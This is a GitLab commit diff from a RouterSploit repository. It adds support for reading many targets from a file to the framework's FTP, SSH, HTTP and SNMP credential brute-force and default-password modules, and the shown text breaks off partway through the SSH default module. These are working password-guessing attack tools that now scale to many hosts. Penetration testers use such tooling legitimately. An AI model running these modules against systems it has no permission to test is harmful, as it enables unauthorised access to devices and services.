Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
43490edd
Commit
43490edd
authored
Apr 24, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding support for targets from file.
parent
47c18768
Show whitespace changes
Inline
Side-by-side
Showing
11 changed files
with
113 additions
and
69 deletions
+113
-69
ftp_bruteforce.py
routersploit/modules/creds/ftp_bruteforce.py
+10
-5
ftp_default.py
routersploit/modules/creds/ftp_default.py
+10
-5
http_basic_bruteforce.py
routersploit/modules/creds/http_basic_bruteforce.py
+17
-16
http_basic_default.py
routersploit/modules/creds/http_basic_default.py
+7
-7
http_form_bruteforce.py
routersploit/modules/creds/http_form_bruteforce.py
+10
-5
http_form_default.py
routersploit/modules/creds/http_form_default.py
+10
-5
snmp_bruteforce.py
routersploit/modules/creds/snmp_bruteforce.py
+11
-6
ssh_bruteforce.py
routersploit/modules/creds/ssh_bruteforce.py
+10
-5
ssh_default.py
routersploit/modules/creds/ssh_default.py
+10
-5
telnet_bruteforce.py
routersploit/modules/creds/telnet_bruteforce.py
+9
-5
telnet_default.py
routersploit/modules/creds/telnet_default.py
+9
-5
No files found.
routersploit/modules/creds/ftp_bruteforce.py
View file @
43490edd
...
@@ -12,6 +12,7 @@ from routersploit import (
...
@@ -12,6 +12,7 @@ from routersploit import (
print_success
,
print_success
,
print_table
,
print_table
,
boolify
,
boolify
,
multi
,
)
)
...
@@ -27,7 +28,7 @@ class Exploit(exploits.Exploit):
...
@@ -27,7 +28,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target IP address'
)
target
=
exploits
.
Option
(
''
,
'Target IP address
or file with target:port (file://)
'
)
port
=
exploits
.
Option
(
21
,
'Target port'
)
port
=
exploits
.
Option
(
21
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
...
@@ -39,6 +40,10 @@ class Exploit(exploits.Exploit):
...
@@ -39,6 +40,10 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
self
.
credentials
=
[]
self
.
credentials
=
[]
self
.
attack
()
@multi
def
attack
(
self
):
ftp
=
ftplib
.
FTP
()
ftp
=
ftplib
.
FTP
()
try
:
try
:
ftp
.
connect
(
self
.
target
,
port
=
int
(
self
.
port
),
timeout
=
10
)
ftp
.
connect
(
self
.
target
,
port
=
int
(
self
.
port
),
timeout
=
10
)
...
@@ -66,7 +71,7 @@ class Exploit(exploits.Exploit):
...
@@ -66,7 +71,7 @@ class Exploit(exploits.Exploit):
if
len
(
self
.
credentials
):
if
len
(
self
.
credentials
):
print_success
(
"Credentials found!"
)
print_success
(
"Credentials found!"
)
headers
=
(
"Login"
,
"Password"
)
headers
=
(
"
Target"
,
"Port"
,
"
Login"
,
"Password"
)
print_table
(
headers
,
*
self
.
credentials
)
print_table
(
headers
,
*
self
.
credentials
)
else
:
else
:
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
...
@@ -103,10 +108,10 @@ class Exploit(exploits.Exploit):
...
@@ -103,10 +108,10 @@ class Exploit(exploits.Exploit):
ftp
.
login
(
user
,
password
)
ftp
.
login
(
user
,
password
)
running
.
clear
()
running
.
clear
()
print_success
(
"
{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
print_success
(
"
Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
)
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
except
:
except
:
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
ftp
.
close
()
ftp
.
close
()
...
...
routersploit/modules/creds/ftp_default.py
View file @
43490edd
...
@@ -11,6 +11,7 @@ from routersploit import (
...
@@ -11,6 +11,7 @@ from routersploit import (
print_success
,
print_success
,
print_table
,
print_table
,
boolify
,
boolify
,
multi
,
)
)
...
@@ -26,7 +27,7 @@ class Exploit(exploits.Exploit):
...
@@ -26,7 +27,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target IP address'
)
target
=
exploits
.
Option
(
''
,
'Target IP address
or file with target:port (file://)
'
)
port
=
exploits
.
Option
(
21
,
'Target port'
)
port
=
exploits
.
Option
(
21
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
...
@@ -37,6 +38,10 @@ class Exploit(exploits.Exploit):
...
@@ -37,6 +38,10 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
self
.
credentials
=
[]
self
.
credentials
=
[]
self
.
attack
()
@multi
def
attack
(
self
):
ftp
=
ftplib
.
FTP
()
ftp
=
ftplib
.
FTP
()
try
:
try
:
ftp
.
connect
(
self
.
target
,
port
=
int
(
self
.
port
),
timeout
=
10
)
ftp
.
connect
(
self
.
target
,
port
=
int
(
self
.
port
),
timeout
=
10
)
...
@@ -58,7 +63,7 @@ class Exploit(exploits.Exploit):
...
@@ -58,7 +63,7 @@ class Exploit(exploits.Exploit):
if
len
(
self
.
credentials
):
if
len
(
self
.
credentials
):
print_success
(
"Credentials found!"
)
print_success
(
"Credentials found!"
)
headers
=
(
"Login"
,
"Password"
)
headers
=
(
"
Target"
,
"Port"
,
"
Login"
,
"Password"
)
print_table
(
headers
,
*
self
.
credentials
)
print_table
(
headers
,
*
self
.
credentials
)
else
:
else
:
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
...
@@ -95,10 +100,10 @@ class Exploit(exploits.Exploit):
...
@@ -95,10 +100,10 @@ class Exploit(exploits.Exploit):
ftp
.
login
(
user
,
password
)
ftp
.
login
(
user
,
password
)
running
.
clear
()
running
.
clear
()
print_success
(
"
{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
print_success
(
"
Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
)
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
except
:
except
:
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
ftp
.
close
()
ftp
.
close
()
...
...
routersploit/modules/creds/http_basic_bruteforce.py
View file @
43490edd
import
threading
import
threading
import
requests
import
itertools
import
itertools
from
routersploit
import
(
from
routersploit
import
(
...
@@ -11,7 +10,9 @@ from routersploit import (
...
@@ -11,7 +10,9 @@ from routersploit import (
print_success
,
print_success
,
print_table
,
print_table
,
sanitize_url
,
sanitize_url
,
http_request
,
boolify
,
boolify
,
multi
,
)
)
...
@@ -27,7 +28,7 @@ class Exploit(exploits.Exploit):
...
@@ -27,7 +28,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target
address e.g. http://192.168.1.1
'
)
target
=
exploits
.
Option
(
''
,
'Target
IP address or file with target:port (file://)
'
)
port
=
exploits
.
Option
(
80
,
'Target port'
)
port
=
exploits
.
Option
(
80
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
...
@@ -40,18 +41,17 @@ class Exploit(exploits.Exploit):
...
@@ -40,18 +41,17 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
self
.
credentials
=
[]
self
.
credentials
=
[]
self
.
attack
()
@multi
def
attack
(
self
):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
try
:
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
r
=
requests
.
get
(
url
,
verify
=
False
)
if
response
is
None
:
except
(
requests
.
exceptions
.
MissingSchema
,
requests
.
exceptions
.
InvalidSchema
):
print_error
(
"Invalid URL format:
%
s"
%
url
)
return
except
requests
.
exceptions
.
ConnectionError
:
print_error
(
"Connection error:
%
s"
%
url
)
return
return
if
r
.
status_code
!=
401
:
if
r
esponse
.
status_code
!=
401
:
print_status
(
"Target is not protected by Basic Auth"
)
print_status
(
"Target is not protected by Basic Auth"
)
return
return
...
@@ -71,7 +71,7 @@ class Exploit(exploits.Exploit):
...
@@ -71,7 +71,7 @@ class Exploit(exploits.Exploit):
if
len
(
self
.
credentials
):
if
len
(
self
.
credentials
):
print_success
(
"Credentials found!"
)
print_success
(
"Credentials found!"
)
headers
=
(
"Login"
,
"Password"
)
headers
=
(
"
Target"
,
"Port"
,
"
Login"
,
"Password"
)
print_table
(
headers
,
*
self
.
credentials
)
print_table
(
headers
,
*
self
.
credentials
)
else
:
else
:
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
...
@@ -88,14 +88,15 @@ class Exploit(exploits.Exploit):
...
@@ -88,14 +88,15 @@ class Exploit(exploits.Exploit):
user
,
password
=
data
.
next
()
user
,
password
=
data
.
next
()
user
=
user
.
encode
(
'utf-8'
)
.
strip
()
user
=
user
.
encode
(
'utf-8'
)
.
strip
()
password
=
password
.
encode
(
'utf-8'
)
.
strip
()
password
=
password
.
encode
(
'utf-8'
)
.
strip
()
r
=
requests
.
get
(
url
,
auth
=
(
user
,
password
),
verify
=
False
)
if
r
.
status_code
!=
401
:
response
=
http_request
(
method
=
"GET"
,
url
=
url
,
auth
=
(
user
,
password
))
if
response
.
status_code
!=
401
:
running
.
clear
()
running
.
clear
()
print_success
(
"
{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
print_success
(
"
Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
)
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
else
:
else
:
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
except
StopIteration
:
except
StopIteration
:
break
break
...
...
routersploit/modules/creds/http_basic_default.py
View file @
43490edd
import
threading
import
threading
import
requests
from
routersploit
import
(
from
routersploit
import
(
exploits
,
exploits
,
...
@@ -12,7 +11,7 @@ from routersploit import (
...
@@ -12,7 +11,7 @@ from routersploit import (
sanitize_url
,
sanitize_url
,
boolify
,
boolify
,
http_request
,
http_request
,
multi
multi
,
)
)
...
@@ -28,7 +27,7 @@ class Exploit(exploits.Exploit):
...
@@ -28,7 +27,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target
address e.g. http://192.168.1.1
'
)
target
=
exploits
.
Option
(
''
,
'Target
IP address or file with target:port (file://)
'
)
port
=
exploits
.
Option
(
80
,
'Target port'
)
port
=
exploits
.
Option
(
80
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
...
@@ -82,14 +81,15 @@ class Exploit(exploits.Exploit):
...
@@ -82,14 +81,15 @@ class Exploit(exploits.Exploit):
line
=
data
.
next
()
.
split
(
":"
)
line
=
data
.
next
()
.
split
(
":"
)
user
=
line
[
0
]
.
encode
(
'utf-8'
)
.
strip
()
user
=
line
[
0
]
.
encode
(
'utf-8'
)
.
strip
()
password
=
line
[
1
]
.
encode
(
'utf-8'
)
.
strip
()
password
=
line
[
1
]
.
encode
(
'utf-8'
)
.
strip
()
r
=
requests
.
get
(
url
,
auth
=
(
user
,
password
),
verify
=
False
)
if
r
.
status_code
!=
401
:
response
=
http_request
(
method
=
"GET"
,
url
=
url
,
auth
=
(
user
,
password
))
if
response
.
status_code
!=
401
:
running
.
clear
()
running
.
clear
()
print_success
(
"Target: {}:{} {}: Authentication
succeed!"
.
format
(
self
.
target
,
self
.
port
,
name
),
user
,
password
,
verbose
=
module_verbosity
)
print_success
(
"Target: {}:{} {}: Authentication
Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
)
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
else
:
else
:
print_error
(
name
,
"Target: {}:{} Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
except
StopIteration
:
except
StopIteration
:
break
break
...
...
routersploit/modules/creds/http_form_bruteforce.py
View file @
43490edd
...
@@ -13,6 +13,7 @@ from routersploit import (
...
@@ -13,6 +13,7 @@ from routersploit import (
print_table
,
print_table
,
sanitize_url
,
sanitize_url
,
boolify
,
boolify
,
multi
,
)
)
...
@@ -28,7 +29,7 @@ class Exploit(exploits.Exploit):
...
@@ -28,7 +29,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target
address e.g. http://192.168.1.1
'
)
target
=
exploits
.
Option
(
''
,
'Target
IP address or file with target:port (file://)
'
)
port
=
exploits
.
Option
(
80
,
'Target port'
)
port
=
exploits
.
Option
(
80
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
usernames
=
exploits
.
Option
(
'admin'
,
'Username or file with usernames (file://)'
)
usernames
=
exploits
.
Option
(
'admin'
,
'Username or file with usernames (file://)'
)
...
@@ -43,6 +44,10 @@ class Exploit(exploits.Exploit):
...
@@ -43,6 +44,10 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
self
.
credentials
=
[]
self
.
credentials
=
[]
self
.
attack
()
@multi
def
attack
(
self
):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
try
:
try
:
...
@@ -85,7 +90,7 @@ class Exploit(exploits.Exploit):
...
@@ -85,7 +90,7 @@ class Exploit(exploits.Exploit):
if
len
(
self
.
credentials
):
if
len
(
self
.
credentials
):
print_success
(
"Credentials found!"
)
print_success
(
"Credentials found!"
)
headers
=
(
"Login"
,
"Password"
)
headers
=
(
"
Target"
,
"Port"
,
"
Login"
,
"Password"
)
print_table
(
headers
,
*
self
.
credentials
)
print_table
(
headers
,
*
self
.
credentials
)
else
:
else
:
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
...
@@ -155,10 +160,10 @@ class Exploit(exploits.Exploit):
...
@@ -155,10 +160,10 @@ class Exploit(exploits.Exploit):
if
l
<
self
.
invalid
[
"min"
]
or
l
>
self
.
invalid
[
"max"
]:
if
l
<
self
.
invalid
[
"min"
]
or
l
>
self
.
invalid
[
"max"
]:
running
.
clear
()
running
.
clear
()
print_success
(
"
{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
print_success
(
"
Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
)
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
else
:
else
:
print_error
(
name
,
"
Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
name
,
"
Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
except
StopIteration
:
except
StopIteration
:
break
break
...
...
routersploit/modules/creds/http_form_default.py
View file @
43490edd
...
@@ -12,6 +12,7 @@ from routersploit import (
...
@@ -12,6 +12,7 @@ from routersploit import (
print_table
,
print_table
,
sanitize_url
,
sanitize_url
,
boolify
,
boolify
,
multi
,
)
)
...
@@ -27,7 +28,7 @@ class Exploit(exploits.Exploit):
...
@@ -27,7 +28,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target
address e.g. http://192.168.1.1
'
)
target
=
exploits
.
Option
(
''
,
'Target
IP address or file with target:port (file://)
'
)
port
=
exploits
.
Option
(
80
,
'Target port'
)
port
=
exploits
.
Option
(
80
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
...
@@ -41,6 +42,10 @@ class Exploit(exploits.Exploit):
...
@@ -41,6 +42,10 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
self
.
credentials
=
[]
self
.
credentials
=
[]
self
.
attack
()
@multi
def
attack
(
self
):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
try
:
try
:
...
@@ -78,7 +83,7 @@ class Exploit(exploits.Exploit):
...
@@ -78,7 +83,7 @@ class Exploit(exploits.Exploit):
if
len
(
self
.
credentials
):
if
len
(
self
.
credentials
):
print_success
(
"Credentials found!"
)
print_success
(
"Credentials found!"
)
headers
=
(
"Login"
,
"Password"
)
headers
=
(
"
Target"
,
"Port"
,
"
Login"
,
"Password"
)
print_table
(
headers
,
*
self
.
credentials
)
print_table
(
headers
,
*
self
.
credentials
)
else
:
else
:
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
...
@@ -148,10 +153,10 @@ class Exploit(exploits.Exploit):
...
@@ -148,10 +153,10 @@ class Exploit(exploits.Exploit):
if
l
<
self
.
invalid
[
"min"
]
or
l
>
self
.
invalid
[
"max"
]:
if
l
<
self
.
invalid
[
"min"
]
or
l
>
self
.
invalid
[
"max"
]:
running
.
clear
()
running
.
clear
()
print_success
(
"
{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
print_success
(
"
Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
)
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
else
:
else
:
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
"Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
),
verbose
=
module_verbosity
)
except
StopIteration
:
except
StopIteration
:
break
break
...
...
routersploit/modules/creds/snmp_bruteforce.py
View file @
43490edd
...
@@ -10,6 +10,7 @@ from routersploit import (
...
@@ -10,6 +10,7 @@ from routersploit import (
print_success
,
print_success
,
print_table
,
print_table
,
boolify
,
boolify
,
multi
,
)
)
...
@@ -23,7 +24,7 @@ class Exploit(exploits.Exploit):
...
@@ -23,7 +24,7 @@ class Exploit(exploits.Exploit):
'author'
:
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
# routersploit module
'author'
:
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
# routersploit module
}
}
target
=
exploits
.
Option
(
''
,
'Target IP address'
)
target
=
exploits
.
Option
(
''
,
'Target IP address
or file with target:port (file://)
'
)
port
=
exploits
.
Option
(
161
,
'Target port'
)
port
=
exploits
.
Option
(
161
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
snmp
=
exploits
.
Option
(
wordlists
.
snmp
,
'Community string or file with community strings (file://)'
)
snmp
=
exploits
.
Option
(
wordlists
.
snmp
,
'Community string or file with community strings (file://)'
)
...
@@ -32,7 +33,11 @@ class Exploit(exploits.Exploit):
...
@@ -32,7 +33,11 @@ class Exploit(exploits.Exploit):
strings
=
[]
strings
=
[]
def
run
(
self
):
def
run
(
self
):
self
.
strings
=
[]
self
.
strings
=
[]
self
.
attack
()
@multi
def
attack
(
self
):
# todo: check if service is up
# todo: check if service is up
...
@@ -46,7 +51,7 @@ class Exploit(exploits.Exploit):
...
@@ -46,7 +51,7 @@ class Exploit(exploits.Exploit):
if
len
(
self
.
strings
):
if
len
(
self
.
strings
):
print_success
(
"Credentials found!"
)
print_success
(
"Credentials found!"
)
headers
=
tuple
([
"Community Strings"
]
)
headers
=
(
"Target"
,
"Port"
,
"Community Strings"
)
print_table
(
headers
,
*
self
.
strings
)
print_table
(
headers
,
*
self
.
strings
)
else
:
else
:
print_error
(
"Valid community strings not found"
)
print_error
(
"Valid community strings not found"
)
...
@@ -67,10 +72,10 @@ class Exploit(exploits.Exploit):
...
@@ -67,10 +72,10 @@ class Exploit(exploits.Exploit):
if
res
[
0
]
is
not
None
:
if
res
[
0
]
is
not
None
:
running
.
clear
()
running
.
clear
()
print_success
(
"
{}: Valid community string found!"
.
format
(
name
),
string
,
verbose
=
module_verbosity
)
print_success
(
"
Target: {}:{} {}: Valid community string found - String: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
string
)
,
verbose
=
module_verbosity
)
self
.
strings
.
append
(
tuple
([
string
]
))
self
.
strings
.
append
(
(
self
.
target
,
self
.
port
,
string
))
else
:
else
:
print_error
(
"
{}: Invalid community string."
.
format
(
name
),
string
,
verbose
=
module_verbosity
)
print_error
(
"
Target: {}:{} {}: Invalid community string - String: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
string
)
,
verbose
=
module_verbosity
)
except
StopIteration
:
except
StopIteration
:
break
break
...
...
routersploit/modules/creds/ssh_bruteforce.py
View file @
43490edd
...
@@ -12,6 +12,7 @@ from routersploit import (
...
@@ -12,6 +12,7 @@ from routersploit import (
print_success
,
print_success
,
print_table
,
print_table
,
boolify
,
boolify
,
multi
,
)
)
...
@@ -25,7 +26,7 @@ class Exploit(exploits.Exploit):
...
@@ -25,7 +26,7 @@ class Exploit(exploits.Exploit):
'author'
:
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
# routersploit module
'author'
:
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
# routersploit module
}
}
target
=
exploits
.
Option
(
''
,
'Target IP address'
)
target
=
exploits
.
Option
(
''
,
'Target IP address
or file with target:port (file://)
'
)
port
=
exploits
.
Option
(
22
,
'Target port'
)
port
=
exploits
.
Option
(
22
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
...
@@ -37,6 +38,10 @@ class Exploit(exploits.Exploit):
...
@@ -37,6 +38,10 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
self
.
credentials
=
[]
self
.
credentials
=
[]
self
.
attack
()
@multi
def
attack
(
self
):
ssh
=
paramiko
.
SSHClient
()
ssh
=
paramiko
.
SSHClient
()
try
:
try
:
...
@@ -65,7 +70,7 @@ class Exploit(exploits.Exploit):
...
@@ -65,7 +70,7 @@ class Exploit(exploits.Exploit):
if
len
(
self
.
credentials
):
if
len
(
self
.
credentials
):
print_success
(
"Credentials found!"
)
print_success
(
"Credentials found!"
)
headers
=
(
"Login"
,
"Password"
)
headers
=
(
"
Target"
,
"Port"
,
"
Login"
,
"Password"
)
print_table
(
headers
,
*
self
.
credentials
)
print_table
(
headers
,
*
self
.
credentials
)
else
:
else
:
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
...
@@ -88,12 +93,12 @@ class Exploit(exploits.Exploit):
...
@@ -88,12 +93,12 @@ class Exploit(exploits.Exploit):
break
break
except
paramiko
.
ssh_exception
.
SSHException
as
err
:
except
paramiko
.
ssh_exception
.
SSHException
as
err
:
ssh
.
close
()
ssh
.
close
()
print_error
(
name
,
err
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
"Target: {}:{} {}: {} Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
err
,
user
,
password
),
verbose
=
module_verbosity
)
else
:
else
:
running
.
clear
()
running
.
clear
()
print_success
(
"
{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
print_success
(
"
Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
)
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
print_status
(
name
,
'thread is terminated.'
,
verbose
=
module_verbosity
)
print_status
(
name
,
'thread is terminated.'
,
verbose
=
module_verbosity
)
routersploit/modules/creds/ssh_default.py
View file @
43490edd
...
@@ -11,6 +11,7 @@ from routersploit import (
...
@@ -11,6 +11,7 @@ from routersploit import (
print_success
,
print_success
,
print_table
,
print_table
,
boolify
,
boolify
,
multi
,
)
)
...
@@ -26,7 +27,7 @@ class Exploit(exploits.Exploit):
...
@@ -26,7 +27,7 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target IP address'
)
target
=
exploits
.
Option
(
''
,
'Target IP address
or file with target:port (file://)
'
)
port
=
exploits
.
Option
(
22
,
'Target port'
)
port
=
exploits
.
Option
(
22
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
...
@@ -36,6 +37,10 @@ class Exploit(exploits.Exploit):
...
@@ -36,6 +37,10 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
self
.
credentials
=
[]
self
.
credentials
=
[]
self
.
attack
()
@multi
def
attack
(
self
):
ssh
=
paramiko
.
SSHClient
()
ssh
=
paramiko
.
SSHClient
()
try
:
try
:
...
@@ -59,7 +64,7 @@ class Exploit(exploits.Exploit):
...
@@ -59,7 +64,7 @@ class Exploit(exploits.Exploit):
if
len
(
self
.
credentials
):
if
len
(
self
.
credentials
):
print_success
(
"Credentials found!"
)
print_success
(
"Credentials found!"
)
headers
=
(
"Login"
,
"Password"
)
headers
=
(
"
Target"
,
"Port"
,
"
Login"
,
"Password"
)
print_table
(
headers
,
*
self
.
credentials
)
print_table
(
headers
,
*
self
.
credentials
)
else
:
else
:
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
...
@@ -83,12 +88,12 @@ class Exploit(exploits.Exploit):
...
@@ -83,12 +88,12 @@ class Exploit(exploits.Exploit):
except
paramiko
.
ssh_exception
.
SSHException
as
err
:
except
paramiko
.
ssh_exception
.
SSHException
as
err
:
ssh
.
close
()
ssh
.
close
()
print_error
(
name
,
err
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
"Target: {}:{} {}: {} Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
err
,
user
,
password
),
verbose
=
module_verbosity
)
else
:
else
:
running
.
clear
()
running
.
clear
()
print_success
(
"
{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
print_success
(
"
Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'"
.
format
(
self
.
target
,
self
.
port
,
name
,
user
,
password
)
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
user
,
password
))
print_status
(
name
,
'process is terminated.'
,
verbose
=
